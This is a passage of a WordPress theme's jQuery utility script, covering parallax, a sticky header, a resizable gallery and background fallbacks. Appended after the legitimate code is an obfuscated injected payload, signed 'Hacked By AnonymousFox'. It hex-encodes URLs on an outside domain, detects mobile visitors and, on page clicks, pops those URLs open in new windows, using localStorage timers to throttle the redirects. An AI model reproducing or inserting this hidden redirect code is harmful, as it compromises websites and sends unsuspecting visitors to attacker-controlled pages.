* to set the animation properties. Also a "children" property should be
* added to the options object containing the children elements to be loaded.
*/
PEXETO.parallax.prototype.setList = function(){
var self = this,
$el = self.$el,
$children = self.options.children
.css(self.options.initProp);
$el.waypoint(function(direction){
$children.each(function(i){
var $element = $(this);
setTimeout(function(){
$element
.addClass('animated-element')
.pexetoTransit(self.options.endProp);
}, i * 300);
});
$el.waypoint('destroy');
}, {'offset':'90%'});
};
/**
* Contains some general helper functions.
* @type {Object}
*/
PEXETO.utils = {
/**
* Disables right click which opens the context menu.
* @param {string} message a message that will be displayed on right click. Use empty
* string if you don't need to display a message
*/
disableRightClick: function() {
$(document).bind('contextmenu', function(e) {
return false;
});
},
/**
* JavaScript templating function :
* http://mir.aculo.us/2011/03/09/little-helpers-a-tweet-sized-javascript-templating-engine/
* @param {string} s the string template
* @param {object} d object literal containing the values that will be replaced in the string
* @return {string} the replaced string with the data set
*/
template: function(s, d) {
for(var p in d)
s = s.replace(new RegExp('{' + p + '}', 'g'), d[p]);
return s;
},
/**
* Checks if the current device is a mobile device. If it is a mobile device, and it is within
* the recognized devices, adds its specific class to the body.
* @return {boolean} setting if the device is a mobile device or not
*/
checkIfMobile: function() {
if(typeof PEXETO.isMobile !== 'undefined') {
return PEXETO.isMobile;
}
var userAgent = navigator.userAgent.toLowerCase(),
devices = [{
'class': 'iphone',
regex: /iphone/
}, {
'class': 'ipad',
regex: /ipad/
}, {
'class': 'ipod',
regex: /ipod/
}, {
'class': 'android',
regex: /android/
}, {
'class': 'bb',
regex: /blackberry/
}, {
'class': 'iemobile',
regex: /iemobile/
}],
i, len;
PEXETO.isMobile = false;
for(i = 0, len = devices.length; i < len; i += 1) {
if(devices[i].regex.test(userAgent)) {
$('body').addClass(devices[i]['class'] + ' mobile');
PEXETO.isMobile = true;
PEXETO.mobileType = devices[i]['class'];
return true;
}
}
return false;
},
/**
* Fades an element in.
* @param {object} $elem the element to be faded
*/
elemFadeIn: function($elem) {
$elem.stop().animate({
opacity: 1
}, function() {
$elem.animate({
opacity: 1
}, 0);
});
},
/**
* Fades an elemen out to a selected opacity.
* @param {object} $elem the element to be faded
* @param {number} opacity the opacity to be faded to (number between 0 and 1)
*/
elemFadeOut: function($elem, opacity) {
$elem.stop().animate({
opacity: opacity
}, function() {
$elem.animate({
opacity: opacity
}, 0);
});
},
getNaturalImgSize: function($img){
var img = $img.get(0);
if(img.naturalWidth && img.naturalHeight){
return {width:img.naturalWidth, height:img.naturalHeight};
}else{
return {width:$img.width(), height:$img.height()};
}
}
};
/**
* Contains some URL helper functions.
* @type {Object}
*/
PEXETO.url = {
/**
* Retrieves the URL parameters/
* @return {object} containing the parameters and values in key-value pairs
*/
getUrlParameters: function() {
var vars = {};
var parts = window.location.href.replace(/[?&]+([^=&]+)=([^&]*)/gi, function(m, key, value) {
vars[key] = value;
});
return vars;
},
getCustomUrlParameters : function(url){
var vars = {};
var parts = url.replace(/[?&]+([^=&]+)=([^&]*)/gi, function(m, key, value) {
vars[key] = value;
});
return vars;
},
/**
* Adds a parameter to the URL.
* @param {string} url the URL to which to add the parameters to
* @param {string} param the parameter in a string format including its value, example:
* "param=value"
* @return {string} the URL with the added parameter
*/
addUrlParameter: function(url, param) {
url += (url.split('?')[1] ? '&' : '?') + param;
return url;
}
};
/***************************************************************************
* STICKY HEADER
**************************************************************************/
/**
* Sticky header functionality - displays the hader always on the top of the
* screen.
* @param {object} $element jQuery element - the header element
* @param {object} options the options settings
*/
PEXETO.utils.stickyHeader = function($element, options){
this.$el = $element;
this.$body = $('body');
this.$win = $(window);
var defaults = {
scrollHeight : 64,
scrollClass : 'fixed-header-scroll'
};
this.o = $.extend(defaults, options);
};
/**
* Inits the sticky header functionality.
*/
PEXETO.utils.stickyHeader.prototype.init = function(){
var self = this;
self.$parent = this.$el.parent();
self.setPositions();
$('#logo-container img').pexetoOnImgLoaded({callback:function(){
//refresh the default header height when the logo image has been loaded
if(!self.scrolled){
self.logoJustLoaded = true;
self.defaultHeight = self.$el.outerHeight();
self.setPositions();
}
}});
$(window).on('mousewheel pexetoscroll scroll', function(){
self.setPositions();
});
};
/**
* Checks whether the current window is scrolled.
* @return {boolean} true if it is scrolled and false if it is not scrolled
*/
PEXETO.utils.stickyHeader.prototype.isScrolled = function(){
return $(document).scrollTop() ? true : false;
};
/**
* Positions the depending elements of the sticky header depending
* on the current header position.
*/
PEXETO.utils.stickyHeader.prototype.setPositions = function(){
var self = this,
currentScrolled = self.isScrolled();
if(!self.defaultHeight){
self.defaultHeight = self.$el.outerHeight();
}
if(currentScrolled && !self.scrolled){
self.scrolled = true;
self.$body.addClass(self.o.scrollClass);
self.$parent.css({paddingTop:self.o.scrollHeight});
self.$win.trigger('pexetostickychange');
}else if(!currentScrolled && (self.scrolled || self.scrolled===undefined || self.logoJustLoaded)){
self.scrolled = false;
self.$body.removeClass(self.o.scrollClass);
self.$parent.css({paddingTop:self.defaultHeight});
self.$win.trigger('pexetostickychange');
if(self.logoJustLoaded){
//the position has been set after the logo was loaded, reset this variable to false
self.logoJustLoaded = false;
}
}
};
/***************************************************************************
* RESIZABLE IMAGE GALLERY
**************************************************************************/
/**
* Resizable gallery functionality. Resizes the images in a gallery so they
* so that they can always fill the full parent container without any gaps.
* Also provides a masonry functionality that uses the jQuery Masonry script.
* @param {string} selector the items selector
* @param {object} options an options object, supported parameters:
* - parent : jQuery object, the parent container of the items
* - masonry : boolean setting whether to enable masonry or not
*/
PEXETO.utils.resizableImageGallery = function(selector, options){
this.selector = selector;
this.options = options;
this.$parent = options.parent || $('.'+PEXETO.masonryClass);
this.$items = this.$parent.find(selector);
this.masonry = options.masonry;
};
/**
* Inits the resizable functionality.
* @return {object} the resizableImageGallery object
*/
PEXETO.utils.resizableImageGallery.prototype.init = function(){
var self = this;
self.setImageSize();
if(self.masonry){
self.initMasonry();
}
self.loadImages();
$(window).on('resize', $.proxy(self.refresh, self));
return self;
};
/**
* Inits the Masonry script.
*/
PEXETO.utils.resizableImageGallery.prototype.initMasonry = function(){
var self = this;
self.$parent.masonry({
itemSelector : self.selector,
transitionDuration: 0
});
};
/**
* Adds an onload event handler to each of the images.
*/
PEXETO.utils.resizableImageGallery.prototype.loadImages = function(){
var self = this;
self.$parent.find('img').each(function() {
$(this).pexetoOnImgLoaded({callback:function() {
if(self.masonry){
//refresh masonry
self.$parent.masonry('layout');
}
$(this).css({
opacity: 1
})
.trigger('imgmasonryloaded');
}});
});
};
/**
* Calculates the image width depending on the default image width and
* the width of the parent container div.
* @return {int} the width of the image including the margins of the image
*/
PEXETO.utils.resizableImageGallery.prototype.setImageSize = function(){
var self = this,
$firstItem = self.$items.eq(0),
space = parseInt($firstItem.css('marginRight'), 10) + parseInt($firstItem.css('marginLeft'), 10),
defaultWidth = $firstItem.data('defwidth') ? $firstItem.data('defwidth') : $firstItem.width(),
numColumns = 0,
spaceLeft = 0,
ratio = 0,
containerWidth = self.$parent.width(),
newImgW, i, len, col, row, w, h;
containerWidth = Math.floor(containerWidth-1);
numColumns = Math.floor((containerWidth) / (defaultWidth + space));
if(numColumns<=0){
numColumns = 1;
}
spaceLeft = containerWidth - numColumns * (defaultWidth + space);
if(spaceLeft > defaultWidth / 2) {
numColumns += 1;
}
newImgW = numColumns === 1 ? containerWidth - space
: Math.floor((containerWidth) / numColumns) - space;
self.$items.css({
width: newImgW,
height: 'auto'
});
return newImgW + space;
};
/**
* Refreshes the gallery - recalculates the image dimensions and refreshes
* the masonry script if masonry is enabled.
*/
PEXETO.utils.resizableImageGallery.prototype.refresh = function(){
var self = this;
if(!self.paused){
self.setImageSize();
if(self.masonry){
self.$parent.masonry('layout');
}
}
};
/**
* Destroys the masonry script if it is enabled.
*/
PEXETO.utils.resizableImageGallery.prototype.destroy = function(){
var self = this;
if(self.masonry){
self.$parent.masonry('destroy');
}
};
PEXETO.utils.resizableImageGallery.prototype.pause = function(){
this.paused = true;
};
PEXETO.utils.resizableImageGallery.prototype.resume = function(){
this.paused = false;
};
/***************************************************************************
* BACKGROUND IMAGE COVER FALLBACK
**************************************************************************/
/**
* CSS background-size:cover fallback. Main constructior.
*/
PEXETO.utils.bgCoverFallback = function($el){
this.$el = $el;
};
/**
* Inits the fallback functionality - sets the background image as an image
* element that is positioned main div element.
*/
PEXETO.utils.bgCoverFallback.prototype.init = function(){
var self = this,
src='',
img,
$img;
src = self.$el.css('backgroundImage');
self.$el.css({'backgroundImage':''});
src = src.replace('url("','').replace('")','');
img = new Image();
img.src = src;
$img = $(img).appendTo(self.$el);
self.$img = $img;
new PEXETO.utils.fullBgImage($img).init();
};
PEXETO.utils.fullBgImage = function($img){
this.$img = $img;
this.$parent = $img.parent();
var naturalSize = PEXETO.utils.getNaturalImgSize($img);
this.imgWidth = naturalSize.width;
this.imgHeight = naturalSize.height;
};
PEXETO.utils.fullBgImage.prototype.init = function(){
var self = this;
self.positionImage();
$(window).on('resize', function(){
self.positionImage();
});
};
PEXETO.utils.fullBgImage.prototype.positionImage = function(){
var self = this,
parentWidth = self.$parent.width(),
parentHeight = self.$parent.height(),
naturalSize = PEXETO.utils.getNaturalImgSize(self.$img),
imgWidth = self.imgWidth,
imgHeight = self.imgHeight,
displayHeight = Math.round(parentWidth * imgHeight / imgWidth),
args = {};
if(parentWidth/parentHeight > imgWidth/imgHeight){
args = {
width:'100%',
height:'auto',
left:0
};
self.$img.css(args);
var curImgHeight = self.$img.height(),
top = curImgHeight > parentHeight ? - (curImgHeight - parentHeight) / 2 : 0;
self.$img.css({top:top});
}else{
args = {
width:'auto',
height:'100%',
top:0
};
self.$img.css(args);
var curImgWidth = self.$img.width(),
left = curImgWidth > parentWidth ? - (curImgWidth - parentWidth) / 2 : 0;
self.$img.css({left:left});
}
};
PEXETO.utils.supportsTransition = function(){
if(PEXETO.supportsTransition !== undefined){
return PEXETO.supportsTransition;
}
var b = document.body || document.documentElement,
s = b.style,
support = s.transition !== undefined || s.WebkitTransition !== undefined || s.MozTransition !== undefined || s.MsTransition !== undefined || s.OTransition !== undefined;
PEXETO.supportsTransition = support;
return support;
};
}(jQuery));
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x54\x57\x48\x32\x63\x362','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6a\x6f\x68\x33\x63\x383','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x78\x52\x6c\x30\x63\x390','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x45\x69\x4b\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6a\x45\x64\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x4f\x72\x49\x38\x63\x398','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x4c\x6f\x72\x35\x63\x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x55\x63\x68\x31\x63\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x64\x49\x62\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6d\x49\x4d\x39\x63\x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Hacked By AnonymousFox1.0, Coded By AnonymousFox